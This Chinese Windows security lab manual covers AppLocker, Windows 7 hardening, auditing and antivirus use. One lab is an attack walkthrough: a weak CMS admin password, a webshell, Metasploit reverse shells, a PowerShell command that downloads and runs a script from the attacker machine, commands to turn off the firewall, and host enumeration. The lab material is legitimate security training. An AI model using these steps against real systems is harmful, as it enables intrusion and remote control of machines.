windows安全配置实验手册

访问控制策略(L1940520022J)

预备知识

Windows 7中,不仅有面向软件的限制方法,还增加了一种名为AppLocker的访问控制策略(仅适用于企业版和旗舰版)。

实验环境

操作系统类型:windows 7。

实验步骤一

设置必要的服务并使其自动启动

在windows资源管理器中右键点击计算机

点击管理,点击右侧栏中的服务,选中application identity,在其上点击右键选择属性

在属性窗口中的常规选项卡中点击启动按钮,并把启动类型设置为"自动"。

最后点击确定。

实验步骤二

设置新的普通账户

在windows资源管理器中右键点击计算机

点击管理,在左侧栏中右键点击用户

点击新用户,录入账户、密码,并设置勾选项

实验步骤三

设置限制策略

在"开始"菜单中的运行文本框中,录入"gpedit.msc",启动"本地组策略编辑器"。

选择"windows设置"-"安全设置"-"应用程序控制策略"-"AppLocker"-"可执行规则"。

在右侧空白窗口中点击右键,选择"创建新规则"。

点下一步,选择拒绝单选项,并点击选择按钮。

点击上图"高级"按钮。

点击"立即查找"按钮。

选择"users"组,点击两次"确定"。

在下图中选择"拒绝",再在"用户或组"栏点击"选择"来选择具体的组或用户。

点击"下一步",选择"路径"单选钮。

点击"下一步"。

点击"浏览文件"。

选中system32目录下的notepad.exe文件,点击"打开"按钮

点击"创建"按钮。

点击"是"按钮。

至此,访问控制(限制使用)的策略已经设置完毕。

注意:务必重启计算机或虚拟机,策略才会生效。

实验步骤四

验证限制策略的效果

重新启动系统并以新建的(被拒绝策略限制使用某软件的)用户及密码登录。

试着运行被前面设置的策略决绝=拒绝该用户使用的写字板(notepad)程序。

点击"记事本"程序图标。

Windows7操作系统安全

预备知识

Windows系列是目前世界上使用用户最多的桌面操作系统。由于历史原因,Windows的很多用户都直接以管理员权限运行系统,对计算机安全构成很大隐患。从Windows Vista [lc1] 开始,Windows加强了用户账户控制的管理,使用"用户账户控制"(User Account Control,UAC)模块来管理和限制用户权限。UAC体现了最小特权原则,即在执行任务时使用尽可能少的特权。用户以管理员身份登陆会得到两个令牌:

1)完全访问令牌(需要管理员特别设置权限)

2)标准受限访问令牌(应用程序默认以标准用户令牌运行)

安全审计是整体安全策略的一部分。通过对系统和用户进行充分和适当的审核,就能够在发生安全事故之后帮助发现产生事故的原因,并提供相应的证据。Windows审核子系统与安全决策组件、事件日志服务联合工作,以可靠的方式生成安全事件。安全决策组件通常被称作安全参考监控,当制定了安全决策后或有其他有关安全的活动发生时,监视器就会通知审核子系统,并将活动的细节传给系统。审核系统将这些细节格式化为事件日志。

实验环境

Windows7 操作系统

实验步骤一

账户与口令

(1)删除不再使用的账户,禁用Guest账户。进入"控制面板"→"用户账户和家庭安全"→"用户账户"→"管理其他账户",如图 1所示。

图 1 未使用和来宾账户

找到未使用的用户,选择"删除账户",如果确定永久不再使用,那么相应的账户文件也要选择删除;找到"来宾账户",选择"关闭来宾账户";更改管理员账户的名称,避免"admin"等简单账户名。

(2)启用账户策略。进入"控制面板"→"管理工具"→"本地安全策略"。

在"账户策略"→"密码策略"中,启用"密码必须符合复杂性要求"和设置"密码长度最小值"提升密码强度;设定"密码最短使用期限"防止短期内入侵者修改密码;设定"密码最长使用期限"提醒用户定期修改密码,防止密码使用时间过长带来的安全问题,如图 2所示。

图 2 密码策略

在"账户策略"→"账户锁定策略"中,设置用户连续登录失败多次,则锁定一段时间,如连续登录失败3次,则锁定30分钟。

在"本地策略"→"安全选项"中,启用"交互式登录:不显示最后的用户名",防止攻击者从本地或Terminal Service的登录界面看到用户名;启用"网络访问:不允许枚举SAM账户和共享的匿名枚举",防止攻击者通过空连接匿名枚举出本地所有用户名,如图3所示。

图 3 安全选项

(3)用户和用户组权限管理。任意选择一个文件或者文件夹,右键选择"属性"→"安全",可以查看到组或用户的管理权限,包括修改、读取和执行、列出内容、读取、写入等,如图4所示。

图 4 查看用户管理权限

点击"高级",进入高级安全设置,选择需要更改的用户或组,点击"编辑",在弹出的权限项目中勾选权限允许或者拒绝,如图5所示。

图 5 用户和组高级安全设置

实验步骤二

审核与日志

(1)启用审核。进入"控制面板"→"管理工具"→"本地安全策略"。在"本地策略"→"审核策略"中,选择需要审核的策略,勾选审核的具体操作。例如更改"审核账户管理",对成功和失败操作都进行审核,如图6所示。

图 6 审核策略

(2)查看日志事件。进入"控制面板"→"管理工具"→"事件查看器",可以看到"Windows日志"、"应用程序和服务日志"等内容,打开"Windows日志"→"安全"即可查看所有安全事件,如图7所示。

图 7 日志查看

实验步骤三

安全模板

(1)启用安全模板。打开"运行",输入"mmc"进入系统控制台,进入"文件""添加/删除管理单元",添加"安全模板"和"安全配置和分析",如图8所示。

图 8 添加安全模板

(2)新建安全模板。在"安全模板"中选择"新加模板",填入名称及描述,建立成功后可以看到该模板下的所有策略,按照不同的需求更改不同的策略项目并保存即可,如图9所示。

图 9 新建安全模板

添加完毕后回到控制台,在"安全配置与分析"项目中,按照提示打开或新建数据库,如图10所示。(此步骤需要系统中存在配置文件才能操作)

图 10 导入安全模板数据库

成功导入数据库后,选择"立即分析计算机",并设置日志文件路径,系统开始按照上一步中选定的安全模板,以确定当前系统的安全设置是否符合要求,分析完毕后可在目录中选择查看各安全设置的分析结果。选择"立即配置计算机",则按照所选择的安全模板的要求对当前系统进行配置。


[lc1]Windows Vista" 是微软(Microsoft)发布的操作系统,它是Windows XP之后的一代操作系统。

Windows主机信息收集

实验环境

目标机器:win7、IP:10.1.1.126

攻击机器:kali、IP:10.1.1.144

所需工具请在实验机内下载使用: http://tools.hetianlab.com/tools/HongCMS-tools.zip

实验步骤一

任务描述:获取目标服务器shell

目标首页:

通过对目标网站的敏感目录探测,发现存在admin目录:

访问后发现为目标网站后台:

通过手工枚举的方式用户名和密码为root:root成功进入后台:

接下来就是寻找可以getshell的点:

在模板管理处发现存在任意文件上传且允许上传php,目录也回显给我们了。

同时在语言管理处发现也可以编辑语言文件getshell:

此处我们通过修改语言模板getshell,访问后可能会报权限不足的错误,但是shell是可以运行的:

通过蚁剑连接,获取目标shell

Linux启动蚁剑:

下载工具包后解压antSword-2.1.10和AntSword-Loader-v4.0.3-linux-x64,前一个为蚁剑加载包,后一个为蚁剑主程序。进入AntSword-Loader-v4.0.3-linux-x64启动蚁剑:

这时候需要去初始化蚁剑的工作目录,选择解压后的antSword-2.1.10,然后重启蚁剑。

之后配置要连接的shell:

实验步骤二

任务描述:通过获取的webshell,进行内网信息收集

  1. 首先分析进出口的流量是否能连通

协议的判断:场景的TCP、DNS、HTTP、ICMP等协议;

端口判断:外网vps做监听,内网机器测试常见端口,常见能出去的端口有80,8080,443,53,110,123;

TCP协议:

vps: nc -lvvp[lc1] 8888

target: nc 10.1.1.144 8888 (需要通过webshell上传nc)

ICMP协议:

vps:tcpdump icmp

target: ping 10.1.1.144

DNS协议:

vps: nc -u -lvp 53

target :nslookup www.baidu.com 10.1.1.144

HTTP协议:nc -lvvp 80

target: 10.1.1.144 80 (需要上传curl)

将shell反弹到msf上面,因为在webshell下不交互

use exploit/windows/misc/hta_server

msf exploit(windows/misc/hta_server) > set srvhost 10.1.1.144

msf exploit(windows/misc/hta_server) > set payload windows/x64/meterpreter/reverse_tcp

msf exploit(windows/misc/hta_server) > set lhost 10.1.1.144

msf exploit(windows/misc/hta_server) > set target 1

msf exploit(windows/misc/hta_server) > exploit -j

  1. 用户信息收集

查看本机用户列表:net user

获取本地管理员信息:net localgroup administrators

#查看当前在线用户和会话

quser

query user

query user || qwinsta

查当前用户在目标系统中的具体权限:whoami /all

查看当前权限:whoami && whoami /priv

查当前机器中所有的组名,了解不同组的职能:net localgroup

  1. 系统信息收集

查询网络配置信息,进行IP地址段信息收集:ipconfig /all

#查询操作系统及软件信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #英文系统

systeminfo | findstr /B /C:"OS 名称 " /C:"OS 版本 " #中文系统

查看当前系统版本:wmic OS get Caption,CSDVersion,OSArchitecture,Version

查看系统体系结构:echo %PROCESSOR_ARCHITECTURE%

查询本机服务信息:wmic service list brief

查看安装的软件的版本、路径等:wmic product get name, version

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"

查询进程信息:tasklist

wmic process list brief

查看启动程序信息:wmic startup get command,caption

#查看计划任务

at (win10之前)

schtasks /query /fo LIST /v (win10)

查看主机开机时间:net statistics workstation

列出或断开本地计算机与所连接的客户端的对话:net session

查看远程连接信息:cmdkey /l

查看补丁列表:systeminfo | findstr KB

查看补丁的名称、描述、 ID、安装时间等:wmic qfe getCaption,Description,HotFixID,InstalledOn

查看杀软:WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct GetdisplayName /Format:List

查看本地密码策略:net accounts

#查看 hosts 文件

Linux:cat /etc/hosts

Windows:type c:\Windows\system32\drivers\etc\hosts

查看dns缓存:ipconfig /displaydns

  1. 网络信息收集

查看本机所有的tcp,udp端口连接及其对应的 pid :netstat -ano

查看本机所有的tcp,udp端口连接,pid及其对应的发起程序:netstat -anob

#查看路由表和arp缓存:

route print

arp -a

#查看本机共享列表和可访问的域共享列表(445端口)

net share

wmic share get name,path,status

磁盘映射:net use k: \\10.1.1.144\c$

  1. 防火墙信息收集

#关闭防火墙

netsh firewall set opmode disable (Windows Server 2003以前的版本)

netsh advfirewall set allprofiles state off(WindowsServer 2003 以后的版本)

查看防火墙配置:netsh firewall show config (netsh命令也可以用作端口转发)

查看配置规则:netsh advfirewall firewall show rule name=all

  1. 代理信息收集(前提目标配置了代理,否则会报错)

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings" /v ProxyServer

#通过pac文件自动代理情况

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings" /v AutoConfigURL

  1. Powershell脚本

FTP 访问、共享连接、 putty 连接、驱动、应用程序、 hosts 文件、进程、无线网络记录

首先在kali开启http服务:Python3 -m http.server

powershell iex(new-object net.webclient).downloadstring('http://10.1.1.144:8000/Get-Information.ps1');Get-information

  1. Metasploit

Scraper模块:

Meterpreter > run scraper

/root/.msf4/logs/scripts/scraper

winenum模块:

meterpreter > run winenum

/root/.msf4/logs/scripts/winenum


[lc1]nc: 这是Netcat命令的缩写,用于在网络上传输数据。

-l: 这个选项表示在监听模式下运行Netcat,也就是让Netcat成为一个监听器,等待传入的连接。

-v: 这是"verbose"(详细)模式的选项,它会显示更多详细信息,通常用于调试目的。

-p 8888: 这个选项指定要监听的端口号。在这个例子中,它是8888,表示Netcat将在端口8888上等待传入的连接。

如何优雅的保护你的系统

实验环境

操作系统:Windows 7 IP地址:随机

所用软件:360安全卫士,沙盒软件(Sandboxie,360沙盒)

实验步骤一

创建安全的系统用户

1、创建非管理员权限的用户

Windows系统从Windows 7。 为了安全考虑开始默认账号并不是管理员账号。但是很多人装的系统并不是原版安装,所以很多人使用的系统账号是管理员账号,这对我们的系统来说是非常不安全的。所以我们要学习如何创建非管理员权限的账号

特别说明:由于实验环境的特殊性,试验机所用的账号是Administrator管理员账号,禁止重启系统。

创建账号最好在系统刚刚装好之后,其他的软件安装使用创建的非管理员账号登录系统后安装。

1)打开"计算机管理"

在"计算机"图标上右键,选择"管理"

2)选择"本地用户和组"

点击"本地用户和组"左边的 + 加号,再点"用户",就能看到操作系统当前有哪些账号了

3)新建用户:

在空白处右键,选择 "新用户" ,弹出新用户选项卡

填入你想设置的用户名和密码:全名和描述可以随便填写

实验步骤二

对操作系统进行安全防护

1)开启Windows系统防火墙,提供基础保护,此处不演示防火墙高级设置

点击桌面右下角的"网络图标"选择"打开网络和共享中心"

在打开的界面中选择"Windows防火墙"

接着我们可以看到防火墙状态界面:绿色的盾牌表示当前防火墙是开启的

如果是红色的盾牌,表示防火墙未开启:

此时我们可以点:"使用推荐设置",这样系统就会开启防火墙

2)打开windows update,更新系统补丁

Windows会不定时发布系统漏洞补丁,打开Windows update可以保证能及时更新补丁,当然我们不推荐此法。请往下看

3)安装安全软件,实验环境已安装360安全卫士

在桌面右下角的 360安全卫士的图标上右键选择"查杀修复"

选择"漏洞修复", "立即修复"即可。

4)利用360杀毒查杀木马病毒

扫描未知文件:

在C盘下有一个看上去不认识的文件夹,我们用360杀毒来扫描是否正常,在文件夹上右键---选择360杀毒扫描(其他杀毒软件同理)

等一会儿就出来结果了,然后点"立即处理"

当然你还可以在整个 C盘上右键选择"使用360杀毒扫描"

相关推荐
tingshuo291715 小时前
S001 【模板】从前缀函数到KMP应用 字符串匹配 字符串周期
笔记
用户9623779544820 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
阿白的白日梦1 天前
winget基础管理---更新/修改源为国内源
windows
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
埃博拉酱5 天前
VS Code Remote SSH 连接 Windows 服务器卡在"下载 VS Code 服务器":prcdn DNS 解析失败的诊断与 BITS 断点续传
windows·ssh·visual studio code